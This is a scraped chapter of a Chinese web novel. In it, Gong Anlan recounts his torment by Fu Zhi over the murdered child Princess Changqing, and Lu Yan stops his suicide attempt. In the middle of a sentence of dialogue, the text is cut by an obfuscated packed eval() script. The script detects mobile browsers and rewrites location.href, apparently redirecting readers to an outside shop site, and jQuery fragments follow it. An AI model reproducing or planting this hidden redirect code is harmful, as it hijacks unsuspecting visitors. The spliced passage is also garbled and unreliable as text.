默认冷灰
24号文字
方正启体

37. 北洲(五)

作者:施曦本书字数:K更新时间:
    宫婧像是听到了天大的笑话:“本公主认他才是驸马,不认他就是玩物,一个在公主府过得连狗都不如的人,他算什么驸马,你再做这种蠢事,本公主亲自送你上路。”


    宫枕述对她这个皇姐是害怕的,源自内心的恐惧,宫婧自小随父母流浪,直到十岁那年才回了天都。


    脾性不知为何就变成了现在这样,记得从前宫枕述动了她院子里的一株花草,她就一把火把她的院子连带着他的院子一起烧了,还让宫枕述跪在火里忏悔。


    宫枕述那天哭的上气不接下气,要不是他父母来的及时怕是就让宫婧弄死在那里了。


    天都的纨绔子弟最怕的就是她。


    第一个驸马就是有眼无珠挡了她的马车,还不知悔改地大喊大叫,宫婧那天当街就把他带回了公主府拴了起来,他的家人在外面如何求饶都没用,无奈之下他就搬进了公主府。


    说的好听点是驸马,说的难听点还不如公主府的狗,就是宫婧赏玩的玩物罢了。


    渐渐地宫婧以为他被磨平了性子,没想到宫婧外出封地考察官员,回来后他不在公主府。


    让手下一打听居然在长乐楼,宫婧没有张扬,带着一批护卫去了长乐楼,长乐楼的掌事看到宫婧自然不敢怠慢,在带她去房间的路上解释了缘由:“崇宁公主,驸马找的姑娘是清倌人,实在是坏了长乐楼的规矩啊,你知道的,自凝安年始只能有卖艺不卖身的姑娘。”


    宫婧没说话,到了房间门口让人砸了门,所幸来的不晚,什么都未发生,只是那姑娘吓坏了,在角落里瑟瑟发抖,宫婧示意手下把他架起来。


    他见状自然是吓破了胆,求着宫婧饶恕他:“公主,我错了,我就是一时鬼迷心窍。”


    宫婧连头都没低,松开了他抓着的自己的衣服:“鬼迷心窍?烂人一个需要什么鬼迷心窍,你不过是怕死才装乖而已,不过本公主玩够了,来人,吊到长乐楼门口去,把他的血一点点给我放干,谁都不许救。”


    宫婧走到那姑娘面前,扔给了一件披风给她:“你叫什么?”


    “奴家轻衣。”轻衣的牙还在发颤。


    宫婧问她:“想离开这里吗?”


    轻衣第一眼不确定,可在确定后疯狂点头:“想。”


    宫婧转过身去,扔了个镯子给长乐楼的掌事:“这姑娘我带走了。”


    长乐楼的掌事看出了镯子是好东西,更明白眼前人的身份,心里门清,答应得很快:“崇宁公主开口,自然是可以。”


    “跟我走,从今天起你就是公主府的人了。”


    第二个驸马,是官员考试的第二,不过第一在殿试时没来,他成了第一。


    设计捡到了宫婧的手帕,宫婧当时问他可有妻,他说没有,让他住进了公主府,给他谋了份轻松的差事。


    没过几日就听说吊死在公主府了。


    第三个驸马就是李博安了,李博安一直谨慎听话,是里面活的比较久的,没想到最后死在了大殿前。


    再闪过画面,就是群臣进谏时有人进言选举太子妃,递上了折子,推荐了几名人选。


    傅枳不满意,便让人杀了进言的臣子,给宫安澜送去了手指,说如果再有人进言就是这个下场。


    以至于后来太子妃的位置一直空着。


    每当长清郡主的祭日更是所有人的阴影,尤其是宫安澜。


    傅枳会找来跟长清郡主相似的孩子,再找来一批黑衣人,之后点一种香,把他们锁在殿里。


    在这种香的作用下宫安澜会失去辨别能力,那些黑衣人也会被篡改记忆,那一夜会无数次上演长清郡主死时的悲剧。


    宫安澜会在一遍又一遍的重复中杀人,朝阳殿内回荡着的是凄惨的哭声。


    傅枳就坐在门口听着里面的动静,门外守着的人算是她的人。


    等到天快亮时香的功效就会过去,宫安澜满手血腥地坐在殿内,傅枳会给他带来一面镜子,他看着镜子中从上到下的血,以及堆积起来的尸体整夜整夜地做噩梦。


    等到一年时间,快要忘记时再次重复,无论他怎么预防,傅枳总是能挑准时机,这次是香,下次就是奏折,下下次可能会是食物,无论他怎么小心,都逃不过。


    哪怕他有幸逃过一次,傅枳就会亲自动手杀了那些人,让他亲眼目睹人死在他面前。


    天都之中无人知晓,每逢这时上官音总是守在女儿的墓前,无暇顾及宫中的事。


    宫安澜也从来没有告诉过任何人,因为他曾经尝试过,结果就是傅枳会杀了知情的人,她身边高手云集,杀死一个人太容易了,只是这些死去的人太过无辜,他觉得自己是个罪人,不仅害死了长清,更害死了许多无辜的人。


    一开始他会祈求神佛饶恕他的罪孽,可是后来他便不信神佛了,神佛不会救他,他罪孽深重。


    很多回忆一祯一祯地涌入脑海,洗刷着他,折磨着他。


    他在梦里看到了昭愿,昭愿一个人走在偌大的迷雾森林里,她的弓箭射了几天几夜,最终力竭,宫安澜在梦里问她:“昭愿,天下有什么好的,为什么要以命相护。”


    昭愿轻语:“因为道,我的道不容许我轻蔑众生。”


    梦的最后他好像睁眼看到了陆雁向他跑来,可是他太累了,他拿出了一把匕首划破了手腕,在他想要捅向自己时陆雁抓住了他的手。


    那是他第一次真切地感受到了人的存在,在此前的岁月里除却长清郡主外真真切切感受到的第二个人。


    陆雁抱住他,扔了他手里的匕首,气急了却还要安慰他:“宫安澜,不要。”


    宫安澜心中升起了一点生的念头,在思量后他又沉入了海底:“我罪孽深重,唯有死亡,了结罪恶。”


    “死亡是生命的尽头,不是你的终点,宫安澜,活着。”


    陆雁抱着他,想要用拥抱化解他心中死亡的念头。


    如她所想,宫安澜渐渐恢复了理智,在他回抱陆雁时陆雁终于松了口气。


    陆雁跪在地上,迷雾森林的杂草沾满了她的下裙,宫安澜松开她时双眼已经麻木,眼前的人从模糊到清晰,他心中的执念在拥抱他时被再次埋入了心底。


    宫安澜看着恢复了的她,唇色不再惨白,脸上有了血气,他的手按在她的肩膀上,吻落在了她的眉心,最后无力靠在了她的肩头。


    陆雁顺着他的后背轻拍安慰,一遍遍重复着:“不是罪人。”


    那天他们在迷雾森林坐了很久,就那么靠着,直到某一刻宫安澜握住了陆雁的手,陆雁明白了他的用意,她拉着他走出了迷雾森林。


    他们的身后渐渐变暗,她迎面带来的是光,照亮了他的前面,而他身后的灰暗色却笼罩着他的后面。


    慕容凝在大殿前等他,看到他时一眼洞察他的异样:“你想通了吗?”


    显然没有完全想通,慕容凝并不强人所难:“安澜,母亲能做的就到这里了,如今剑宗会退出大荒,启程境外之地,到了分别的时候,母亲没有别的想说的,只想说一句话,是非善恶,远非目之所及,你若执迷不悟,终将失去一切,我的一生从未如愿,我并不怪任何人,我是北洲公主我就要护北洲子民,我是皇后我就要为天下谋福,你也是,为帝王,莫做愚钝者,再经历一遍,我想你会有所悟,我如今能为天下做的最后一件事就是点醒你。”


    宫安澜双膝跪下,叩拜于地:“谨遵母亲教诲。”


    那日看着渐渐远去的剑宗弟子,宫安澜忽然意识到,他们的离去更像是一种诀别,未有人踏足过的境外是未知的,他们的生死亦是。


    曾有人于境外之地寻长生,再无踪迹。


    渺小的人在境外之地就仿若蝼蚁,他不知道慕容凝的想法,可是他亦无追问的理由。


    当日的晚上两个人坐在大殿的台阶上,这里能够看到整个北洲的地貌,坐在这里,好似伸手可揽星月,低眼可看山河。


    陆雁主动问:“你在那里面做了什么梦会让你想要自尽?”怕问的有些刻意陆雁又补充了一句,“当然,你可以不说,我随便问问。”


    “没什么不能说的。”还没开始说时宫安澜的手已经有些抖动,陆雁按住了他的手,并不做勉强,“实在痛苦就不说了。”


    宫安澜从她的手中抽离出了自己的手,反手把她的手握在了手里,宫安澜在替她暖手之余平静地讲述着他的过去。


    “凝安十年,我阿娘带我妹妹昭愿离开天都,我父皇因出征昏迷,醒来后就赴北洲寻我阿娘,后来他们两个再无踪迹,只从这里传出了一封以我阿娘为名写下的圣旨。”


    “同年末,上官丞相与永安侯爷的女儿上官雁出生,她出生之时我以兄长之名探望,将她视为妹妹,群臣皆知我对她的宠爱,源自老师是其一,更多的是她性格招人喜欢,抓周礼上我集齐了天下的稀罕物件,多少可遇不可求的东西,但是你猜她抓了什么?”


    陆雁真的在猜想:“不会是你吧?”


    宫安澜点头,捏了捏她的脸:“是我,她抓住了我的手,等她会走路时就经常入宫找我,我身边侍奉的人说她得多喜欢我这个兄长,常常往宫里跑。”


    “我很高兴她能进宫,她与昭愿性情相似,为人活泼,我是真的把她当妹妹。某次她来朝阳殿,恰逢宫人送来了糕点,我那日因奏折之事无心饮食,她嘴馋吃了很多,吃到盘中最后一块时吐了血。”


    “我下令彻查未果,又逢江州旱灾,只能就此作罢,我在一次批奏折中犯了错,批错了折子,致使女官考试泄题,被迫取消,有人从中挑拨我对新政不满,老师与苏贵妃气急之下罚我在朝阳殿自省,哟自知错误,断绝吃食。”


    “那天下了很大的雪,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219419|197509||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她一个豆丁大的孩子冒着雪给我提来了一盒吃食,我本是不想吃的,她在跑的时候在宫门摔了,宫人告诉我后我去跑去了宫门,她浑身都是雪,鼻尖通红,我把随身的裘衣披在她身上,背着她去了朝阳殿。”


    陆雁坐着有些不适,宫安澜看她有些累,就让她的头靠在自己的腿上,殿门前的长梯铺着厚厚的毯子,并不那么冷。


    “然后呢?”


    宫安澜继续说:“我吃了她带来的东西,天色已晚,宫门也锁了,又逢下着雪怕她染了风寒,就让她住在了朝阳殿,其实没什么,只是宫人说朝阳殿除却帝王与涉政的太子,其余人是不能住的,我没在意,还是让她睡在我的床上,夜里她高烧,我就守了她一夜。”


    “有了她皇宫于我而言似乎不再那么冷漠,直到她五岁那年,我以长清作为她第一郡主的封号引来了有些人的不满,他们策划了一场谋杀,杀了年仅五岁的她。”


    陆雁感觉有眼泪落在了她额边的头发上,她握住了他的手,宫安澜摩挲着她的指尖,用着平静的语气阐述着后来的痛苦。


    “后来永安侯爷远赴边疆,建立永安军,老师对我也有所疏远,无论我怎么解释他们都以为是我的默许,傅枳她原本只是流浪街头的孤女,由于她碰到了从宫里回丞相府的长清,长清见她可怜就一直陪着她,后来老师就将她认做了女儿。”


    “于我于她,长清的死都是一场痛苦,她恨我,她救我只是为了让我跟她一起痛苦,及笄那年她要做太子妃,国师以傅家女克帝王的占卜引来了群臣议论,为免她难堪枕述向我求旨娶她做肃王妃,我允了,并许她在老国师后做新国师,不过半月她就设计毒倒了国师,联合老师逼我承认她新国师的继任,每当长清的祭日,她就会在殿内点一种香,让我产生幻觉,再找一个跟长清一般大的孩子,重演当日长清死去的悲剧。”


    “由于幻觉我分不清现实,会杀了她找来的一批又一批黑影人,等到朝阳殿血流成河时她就会让那个女孩围着我叫太子哥哥。”


    “我每当祭日时千防万防,有几次她就换了方式,要么是将药抹在我随身的东西上,要么下在日常的吃食中,如果这些我都躲过了,她就会杀了整个朝阳殿的宫人泄愤。”


    陆雁问:“姑苏蓝和影卫不是一直随行你左右吗?”


    宫安澜摇头:“在长清离世后我就让影卫随行老师左右了,一来想缓和与老师的关系,二来怕旧事重演,姑苏蓝,当时的她沉浸在姑苏城覆灭的痛苦中,在牧师父手下练习剑术,最近几年才有所精进,告诉她,傅枳有很多种方法会让她消失在天都,姑苏城的事我已经很有愧于她了,不想把危险带给她。”


    感觉到宫安澜的手有些凉,陆雁说:“宫安澜,我有些冷了,你抱我进去吧。”


    宫安澜照做,抱起她往大殿走去,大殿灯火通明,烛光摇曳,宫安澜再低眼时看到了她眼角的泪光,有些着急:“怎么哭了?”


    “就是觉得天都繁华是真,残忍也是真,你们只不过是一群孩子,却要沦为算计的棋子。”陆雁目光之中带着悲悯,心脏处有些抽疼。


    陆雁不知道为什么,她在听宫安澜讲述长清郡主时她的心会跟着一起难过,就好像那也是她,陆雁自嘲,她真是疯了,竟然会有这种想法,那可是长清郡主,年仅五岁就为各方忌惮的人。


    宫安澜不语,只是目光缠倦,麻木的内心有了一点点触动。


    黑色与粉色拖地的衣尾交缠在一起,滑过一道道长梯,进入殿内,宫安澜将她轻放在床上。


    陆雁不知为何忽然抓住了他的手:“所以,如果长清郡主还在,她会是太子妃,你未来的皇后吗?”


    宫安澜在遇到她之前想过这个问题,一直没有答案,但是遇到陆雁后他有了答案,床边的烛火轻轻摇曳,就像他们彼此的内心在有所动摇。


    宫安澜回过头,长时间的沉默让陆雁拉着他的手欲要松开,在指尖相触的最后宫安澜握住了她的指尖,进一步握住了她的手:“没有如果,我欠长清的我会还,等中朝不再需要一个帝王的时候我会赎罪,一个摇摇欲坠的王朝不能断送在我的手里,长清于我是灯。”


    宫安澜没有先说后面的话,而是半跪在地上,双目含情脉脉,嗓音低沉如青山:“你于我是悲天悯人的神女。”


    灯有燃尽之时,信徒对神女的爱永无凋零之日。


    “他们说你是将星,你会救世,可会渡我?”


    陆雁没有任何的停留:“会,我会,我会救世,也会救你,我不是神女,可我相信只要足够强,人就可以比肩神明,救想救的人,你不能死,王朝需要一个英明的君王,黎民需要一个公道的世间。”陆雁稍作停顿,抓着他的手越来越紧,“我需要一个长岁无忧的你。”


    宫安澜低眉,半个身子往前倾,两个人的距离越来越近。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)